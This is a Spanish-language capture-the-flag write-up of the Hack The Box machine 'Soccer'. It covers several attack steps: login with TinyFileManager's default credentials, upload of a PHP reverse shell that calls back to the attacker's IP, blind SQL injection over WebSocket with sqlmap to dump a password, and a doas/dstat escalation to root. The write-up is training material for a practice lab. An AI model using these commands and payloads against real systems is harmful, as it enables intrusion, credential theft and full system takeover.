Descripción

Soccer es una máquina fácil de Hack The Box que cuenta con las siguientes vulnerabilidades:

  • Enumeración de directorios
  • Uso de credenciales por defecto
  • Ejecución remota de comandos
  • Descubrimiento de VHOST
  • Inyección SQL sobre WebSocket
  • Exposición de datos sensibles
  • Elevación de privilegios mediante DOAS.

Reconocimiento

Primero, vamos a comprobar con el comando ping si la máquina está activa y el sistema operativo. La dirección IP de la máquina de destino es 10.10.11.194.

$ ping -c 3 10.10.11.194
PING 10.10.11.194 (10.10.11.194) 56(84) bytes of data.
64 bytes from 10.10.11.194: icmp_seq=1 ttl=63 time=44.3 ms
64 bytes from 10.10.11.194: icmp_seq=2 ttl=63 time=43.3 ms
64 bytes from 10.10.11.194: icmp_seq=3 ttl=63 time=43.7 ms

--- 10.10.11.194 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2003ms
rtt min/avg/max/mdev = 43.340/43.755/44.276/0.389 ms

La máquina está activa y con el TTL equivalente a 63 (64 menos 1 salto) podemos asegurar que es una máquina basada en Unix. Ahora vamos a hacer un escaneo de puertos TCP SYN con Nmap para comprobar todos los puertos abiertos.

$ sudo nmap 10.10.11.194 -sS -oN nmap_scan
Starting Nmap 7.93 ( https://nmap.org )
Nmap scan report for 10.10.11.194
Host is up (0.043s latency).
Not shown: 997 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
9091/tcp open  xmltec-xmlmail

Nmap done: 1 IP address (1 host up) scanned in 66.19 seconds

Obtenemos tres puertos abiertos, 22, 80 y 9091.

Enumeration (1)

Luego hacemos un escaneo más avanzado, con la detección de la versión de los servicios y el uso de scripts.

$ nmap 10.10.11.194 -sV -sC -p22,80,9091 -oN nmap_scan_ports
Starting Nmap 7.93 ( https://nmap.org )
Nmap scan report for 10.10.11.194
Host is up (0.044s latency).

PORT     STATE SERVICE         VERSION
22/tcp   open  ssh             OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 ad0d84a3fdcc98a478fef94915dae16d (RSA)
|   256 dfd6a39f68269dfc7c6a0c29e961f00c (ECDSA)
|_  256 5797565def793c2fcbdb35fff17c615c (ED25519)
80/tcp   open  http            nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://soccer.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
9091/tcp open  xmltec-xmlmail?
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, RPCCheck, SSLSessionReq, drda, informix: 
|     HTTP/1.1 400 Bad Request
|     Connection: close
|   GetRequest: 
|     HTTP/1.1 404 Not Found
|     Content-Security-Policy: default-src 'none'
|     X-Content-Type-Options: nosniff
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 139
|     Connection: close
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="utf-8">
|     <title>Error</title>
|     </head>
|     <body>
|     <pre>Cannot GET /</pre>
|     </body>
|     </html>
|   HTTPOptions, RTSPRequest: 
|     HTTP/1.1 404 Not Found
|     Content-Security-Policy: default-src 'none'
|     X-Content-Type-Options: nosniff
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 143
|     Connection: close
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="utf-8">
|     <title>Error</title>
|     </head>
|     <body>
|     <pre>Cannot OPTIONS /</pre>
|     </body>
|_    </html>
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 22.46 seconds

Obtenemos tres servicios: un Secure Shell (SSH) y dos Hypertext Transfer Protocol (HTTP) ejecutándose en un Linux Ubuntu. Como no tenemos credenciales factibles para el servicio SSH vamos a pasar al servicio HTTP. Observamos que el servicio alberga un sitio web http://soccer.htb, por lo que lo añadimos a nuestro archivo local /etc/hosts.

$ echo "10.10.11.194 soccer.htb" | sudo tee -a /etc/hosts

Con la herramienta WhatWeb podemos enumerar las tecnologías del sitio web.

$ whatweb --log-brief web_techs http://soccer.htb                                                                                       
http://soccer.htb [200 OK] Bootstrap[4.1.1], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.10.11.194], JQuery[3.2.1,3.6.0], Script, Title[Soccer - Index], X-UA-Compatible[IE=edge], nginx[1.18.0]

Observamos que el sitio web está alojado usando el servidor web nginx 1.18.0. Si vamos al navegador web obtenemos una página de plantilla simple sobre un club de fútbol sin ninguna funcionalidad. Como no conseguimos contenido útil, vamos a hacer enumeración de directorios con la herramienta Gobuster para descubrir más directorios.

$ gobuster dir -u http://soccer.htb/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -o directory_enumeration    
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://soccer.htb/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.5
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/tiny                 (Status: 301) [Size: 178] [--> http://soccer.htb/tiny/]
Progress: 87584 / 87665 (99.91%)
===============================================================
Finished
===============================================================

Descubrimos el subdirectorio /tiny que corresponde a la aplicación web TinyFileManager. Mirando la documentación de la aplicación podemos observar que la contraseña predeterminada para el usuario admin es admin@123 y para el usuario user es 12345. Después de introducir las credenciales de admin entramos en la aplicación que enumera los contenidos del directorio web raíz.

Explotación (1)

La versión de la aplicación (2.4.3) es vulnerable a una vulnerabilidad de carga de archivos insegura CVE-2022-45476. Si entramos en el directorio tiny/uploads podemos ver que tenemos permisos para subir archivos, por ejemplo, archivos PHP. Así podemos copiar una terminal inversa de PHP desde nuestro sistema Kali Linux, modificarla y transferirla.

$ cp /usr/share/webshells/php/php-reverse-shell.php .

Las líneas a modificar en el archivo de la terminal inversa son estas:

Lineas a modificar:
$ip = '10.10.14.154';  // CHANGE THIS
$port = 1234;       // CHANGE THIS

Después de subir el archivo haciendo clic en el botón Upload podemos ver que el archivo fue subido con éxito. Abrimos el puerto de escucha.

$ nc -nvlp 1234

Y luego ejecutar el archivo PHP, por ejemplo, usando la herramienta curl.

curl http://soccer.htb/tiny/uploads/php-reverse-shell.php

Y finalmente obtenemos la terminal como el usuario de www-data, así que la actualizamos.

$ nc -nvlp 1234             
listening on [any] 1234 ...
connect to [10.10.14.154] from (UNKNOWN) [10.10.11.194] 42038
Linux soccer 5.4.0-135-generic #152-Ubuntu SMP Wed Nov 23 20:19:22 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
 03:05:23 up  6:28,  0 users,  load average: 0.05, 0.01, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
script /dev/null -c bash
www-data@soccer:/$
[keyboard] CTRL-Z
$ stty raw -echo; fg
$ reset xterm
www-data@soccer:/$ stty rows 48 columns 156
www-data@soccer:/$ export TERM=xterm
www-data@soccer:/$ export SHELL=bash

Post-Explotación (1)

Como usuarios de consola encontramos root y player.

www-data@soccer:/$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
player:x:1001:1001::/home/player:/bin/bash

Como la página web está alojada en un servidor web nginx, pueden existir Hosts Virtuales, que pueden revelar subdominios. La configuración Virtual Hosts se encuentra en el directorio /etc/nginx/sites-enabled.

www-data@soccer:/$ ls -l /etc/nginx/sites-enabled 
total 0
lrwxrwxrwx 1 root root 34 Nov 17 08:06 default -> /etc/nginx/sites-available/default
lrwxrwxrwx 1 root root 41 Nov 17 08:39 soc-player.htb -> /etc/nginx/sites-available/soc-player.htb

Podemos encontrar un subdominio, soc-player, así que vamos a ver el nombre del servidor.

www-data@soccer:/$ cat /etc/nginx/sites-enabled/soc-player.htb 
server {
        listen 80;
        listen [::]:80;

        server_name soc-player.soccer.htb;

        root /root/app/views;

        location / {
                proxy_pass http://localhost:3000;
                proxy_http_version 1.1;
                proxy_set_header Upgrade $http_upgrade;
                proxy_set_header Connection 'upgrade';
                proxy_set_header Host $host;
                proxy_cache_bypass $http_upgrade;
        }

}

El nombre del servidor es soc-player.soccer.htb, así que lo agregamos a nuestro archivo /etc/hosts.

$ echo "10.10.11.194 soc-player.soccer.htb" | sudo tee -a /etc/hosts

Enumeración (2)

Con el escaneo al sitio web con la herramienta WhatWeb se revela que la aplicación se ejecuta sobre un servidor NodeJS Express, por lo que nos movemos al navegador web.

$ whatweb --log-brief web_techs_soc http://soc-player.soccer.htb   
http://soc-player.soccer.htb/ [200 OK] Bootstrap, Cookies[connect.sid], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], HttpOnly[connect.sid], IP[10.10.11.194], JQuery, Script, Title[Soccer], X-Powered-By[Express], X-UA-Compatible[IE=edge], nginx[1.18.0]

Ahora tenemos una página en la que podemos crear cuentas de usuario y iniciar sesión. Así que creamos una cuenta. Y luego entramos. Ahora tenemos acceso a un panel web en el que podemos introducir un ID del ticket para comprobar si es válido. Si interceptamos la solicitud con Burp Suite vemos que la comunicación entre el cliente y el servidor se hace usando el protocolo WebSocket. Si el ticket existe recibimos el mensaje “Ticket Exists” y si no existe recibimos el mensaje “Ticket Doesn’t Exists”.

Explotación (2)

Podemos comprobar con la herramienta SQLMap si la aplicación es vulnerable a una vulnerabilidad de inyección SQL.

$ sqlmap -u "ws://soc-player.soccer.htb:9091/" --data='{"id": "53830"}'
...
sqlmap identified the following injection point(s) with a total of 240 HTTP(s) requests:
---
Parameter: JSON id ((custom) POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: {"id": "53830 AND 4971=4971"}

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: {"id": "53830 AND (SELECT 5142 FROM (SELECT(SLEEP(5)))ewjS)"}
---
[INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12

Se detecta una inyección SQL ciega basada en booleanos utilizando el parámetro id. El administrador de bases de datos es MySQL. Como es una inyección ciega, tomará más tiempo volcar el contenido de la base de datos ya que requiere el envío de muchas solicitudes. Obtenemos las bases de datos existentes.

$ sqlmap -u "ws://soc-player.soccer.htb:9091/" --data='{"id": "53830"}' --dbs
...
[INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12
[INFO] fetching database names
[INFO] fetching number of databases
available databases [5]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] soccer_db
[*] sys

Aparte de las bases de datos comunes de MySQL encontramos la base de datos soccer_db, así que volcamos sus tablas.

$ sqlmap -u "ws://soc-player.soccer.htb:9091/" --data='{"id": "53830"}' -D soccer_db --tables                          
...
[INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12
[INFO] fetching tables for database: 'soccer_db'
[INFO] fetching number of tables for database 'soccer_db'
Database: soccer_db
[1 table]
+----------+
| accounts |
+----------+

Sólo obtenemos una tabla para la base de datos de soccer_db, accounts. Finalmente obtenemos todos los datos de la tabla de accounts.

$ sqlmap -u "ws://soc-player.soccer.htb:9091/" --data='{"id": "53830"}' -D soccer_db -T accounts --dump
[INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12
[INFO] fetching columns for table 'accounts' in database 'soccer_db'
[INFO] fetching entries for table 'accounts' in database 'soccer_db'
[INFO] fetching number of entries for table 'accounts' in database 'soccer_db'
Database: soccer_db
Table: accounts
[1 entry]
+------+-------------------+----------------------+----------+
| id   | email             | password             | username |
+------+-------------------+----------------------+----------+
| 1324 | player@player.htb | PlayerOftheMatch2022 | player   |
+------+-------------------+----------------------+----------+

Como vemos, obtuvimos la contraseña para el usuario player, PlayerOftheMatch2022. Como tenemos un usuario player en la máquina, vamos a intentar conectarnos por SSH.

$ ssh player@10.10.11.194                                                                    
player@soccer:~$ id
uid=1001(player) gid=1001(player) groups=1001(player)

Obtenemos una terminal como el usuario player.

Post-Explotación (2)

En busca de formas de hacer la escalada de privilegios, vemos que el binario DOAS está disponible. DOAS es una alternativa a SUDO para sistemas OpenBSD.

player@soccer:~$ ls -l /usr/local/bin/doas
-rwsr-xr-x 1 root root 42224 Nov 17 09:09 /usr/local/bin/doas

Podemos ver su archivo de configuración para comprobar todos los binarios permitidos para ser ejecutados como superadministrador.

player@soccer:~$ cat /usr/local/etc/doas.conf 
permit nopass player as root cmd /usr/bin/dstat

El binario /usr/bin/dstat se puede ejecutar como root. En la web de GTFOBins podemos ver que podemos obtener una terminal usando el binario dstat creando un script de Python, y luego especificando el nombre del script en el parámetro de dstat.

player@soccer:~$ echo 'import os; os.execv("/bin/bash", ["bash"])' > /usr/local/share/dstat/dstat_esc.py
player@soccer:~$ doas /usr/bin/dstat --esc

Finalmente obtenemos una terminal como el usuario root.

Flags

Finalmente podemos obtener la flag del usuario y la flag del sistema.

$ doas /usr/bin/dstat --esc
root@soccer:/tmp# id
uid=0(root) gid=0(root) groups=0(root)
root@soccer:/tmp# cat /home/player/user.txt 
<REDACTED>
root@soccer:/tmp# cat /root/root.txt 
<REDACTED>